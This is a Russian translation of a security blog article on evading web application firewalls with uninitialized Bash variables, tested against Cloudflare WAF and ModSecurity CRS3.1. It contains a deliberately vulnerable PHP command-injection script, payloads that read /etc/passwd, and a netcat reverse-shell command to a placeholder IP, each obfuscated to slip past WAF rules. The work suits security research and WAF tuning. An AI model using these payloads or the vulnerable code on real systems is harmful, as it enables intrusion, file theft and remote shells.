Методы уклонения от Web Application Firewall (WAF) часть 3
Оригинальная статья: theMiddle — Web Application Firewall (WAF) Evasion Techniques #3
В этой статье рассматривается использование неинициализированной переменной (Uninitialized Variable) Bash для обхода фильтров на основе регулярных выражений WAF и сопоставления с образцом. Так же рассмотрим, как это можно сделать на CloudFlare WAF и ModSecurity OWASP CRS3.
Неинициализированная переменная
В последних двух статьях этой серии «Методы уклонения от WAF» мы рассмотрели, как обойти набор правил WAF, использующий удаленное выполнение команд в системе Linux, злоупотребляя процессом глобализации bash. В этом эпизоде я покажу вам другую технику, которая использует неинициализированную переменную bash, чтобы исключить фильтры на основе регулярных выражений и сопоставление с образцом.
echo "uninitialized_variable=$uninitialized_variable"
Неинициализированная переменная имеет значение null. uninitialized_variable=
Объявление, но не инициализация, это то же самое, что и установка значения null (в Bash), как указано выше.
По умолчанию Bash обрабатывает неинициализированные переменные так же, как Perl: это пустые строки! Проблема в том, что можно выполнять команды, объединенные с неинициализированными переменными, и их также можно использовать внутри аргументов. Давайте начнем с примера.
Предполагая, что мы хотим выполнить команду cat /etc/passwd, мы можем использовать следующий синтаксис:
cat$u /etc$u/passwd$u
где $u не существует, и bash рассматривает его как пустую строку:
Это можно использовать для обхода правила WAF, давайте проведем несколько тестов с CloudFlare WAF и с набором основных правил OWASP Core Rule Set 3.1
CloudFlare WAF
Как и в предыдущих двух статьях, я собираюсь протестировать эту технику обхода на очень простом PHP-скрипте, который абсолютно уязвим и довольно далек от реального применения (я надеюсь на это). Казалось бы в этом тесте было бы глупо оценивать крутой сервис, такой как сервис CloudFlare. Но это не так. К тому же это просто способ лучше объяснить эту технику на «реальном» сценарии, и это не означает, что CloudFlare WAF более или менее безопасен, чем другие. Он просто показывает вам, почему вам нужно знать, уязвим ли ваш код и каким образом вы можете это сделать, чтобы исправить его или разработать собственное правило (в предыдущих статьях я использовал Sucuri для такого рода тестов). пришло время менять цель!)
Что я сделал, так это включил все правила CloudFlare WAF и настроил высокий уровень безопасности (кажется, что почти все основано на OWASP CRS2 …).
The Simple PHP Script:
<?php
if(isset($_GET['host'])) {
system('dig '.$_GET['host']);
}
?>
Этот очень простой PHP-скрипт использует dig для разрешения заданного имени хоста в параметре GET, например, /?host=www.google.com.
Результат выполнения:
Очевидно, что он уязвим для RCE, просто поставив точку с запятой после имени хоста и запустив новую команду, например:
/?host=www.google.com;ls+/
Но что, если я попытаюсь прочитать файл /etc/passwd, выполнив команду cat /etc/passwd? Давайте попробуем с:
/?host=www.google.com;cat+/etc/passwd
Я был заблокирован, и это хорошо! Хорошо, теперь я могу попытаться обойти весь набор правил, чтобы получить доступ к /etc/passwd, используя неинициализированную переменную с чем-то вроде:
/?host=www.google.com;cat$u+/etc$u/passwd$u
, где $u будет неинициализированной переменной.
Как вы можете видеть на скриншоте выше, мой запрос пройден и файл /etc/passwd прочитан. Разве это не круто? ┌ (◉ ͜ʖ◉) つ ┣▇▇▇═──
Я видел, что CloudFlare имеет некоторые конкретные правила для предотвращения использования netcat, чтобы запустить обратный шелл. Итак, я решил попытаться запустить обратную шелл, минуя набор правил CloudFlare WAF. Я установил все правила, чтобы «блокировать» в категории CloudFlare Specials.
Сначала попробуйте выполнить netcat с аргументом -e /bin/bash для моего IP-адреса через порт 1337.
Хорошие новости: CloudFlare заблокировал мой запрос. Теперь я хочу попробовать выполнить ту же команду, но добавив некоторые неинициализированные переменные bash после nc и внутри /bin/bash, что-то вроде:
nc$u -e /bin$u/bash$u 1.2.3.4 1337
.
И вуаля!
ModSecurity OWASP CRS3.1
С CRS3.1 все обходные техники становятся сложнее, особенно при повышении Paranoia Level до 3 (на CRS3 есть Paranoia Level 4, но с четвертым уровнем очень сложно работать из-за ложного срабатывания), и это только одна из многих причин, почему я люблю CRS3!
Допустим, что в отличие от того, что произошло на CloudFlare, с CRS3.1, настроенным на Paranoia Level 3, мой первый тест был заблокирован правилом 932100 «Unix Command Injection»:
Что я могу сделать, чтобы обойти это правило? Я знаю, что ;<command> заблокирована, но, возможно, полезная нагрузка ;<space><uninitialized var><command> может пройти … Я имею в виду что-то вроде:
?host=www.google.it;+$u+cat+/etc/passwd
.
Супер! Я обошел правило 932100, но теперь мой запрос заблокирован из-за строки etc/passwd внутри параметра host. Что я могу сделать, так это добавить больше неинициализированных переменных в путь etc/passwd, например:
?host=www.google.it;+$u+cat+/etc$u/passwd$u
В отличие от моих тестов на CloudFlare WAF, при использовании CRS3.1 с Paranoia Level 3-го уровня обход сложнее, и это становится совершенно невозможным, если просто включить $_GET[‘host’] в двойные кавычки внутри скрипта PHP. Давайте попробуем:
<?php
if(isset($_GET['host'])) {
system('dig "'.$_GET['host'].'"');
}
?>
Теперь, чтобы ввести команду, недостаточно точки с запятой … Мне нужны двойные кавычки, точка с запятой и символ комментария. Например:
/?host=www.google.it";cat+/etc/passwd+#
Я знаю, что вы думаете: «Теперь с двойными кавычками, точкой с запятой, полезной нагрузкой RCE, которая включает переменные, и символом комментария, CloudFlare заблокирует все это» … хм нет.
В отличие от CloudFlare, в OWASP CRS3 я не могу обойти набор правил с Paranoia Level = 3 из-за двух правил:
- 942460 Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters: он блокирует мой запрос из-за символов «, ;, /, и $.
- 942260 Detects basic SQL authentication bypass attempts 2/3: попытка использования менее специальных символов.
Если понизить Paranoia Level до 2, то это будет прекрасно работать:
/?host=www.google.it";+$u+cat+/etc$u/passwd+\#
Заключение
Почему так сложно заблокировать такой запрос? и почему WAF обычно не блокирует символ доллара внутри значения аргумента? Потому что может появиться множество ложных срабатываний. ИМХО, лучший подход — тот, который используется CRS3, который блокирует только если в одном значении найдено 4 или более повторяющихся несловесных символов. Это более правильно, чем блокировать определенные символы, имея множество ложных срабатываний.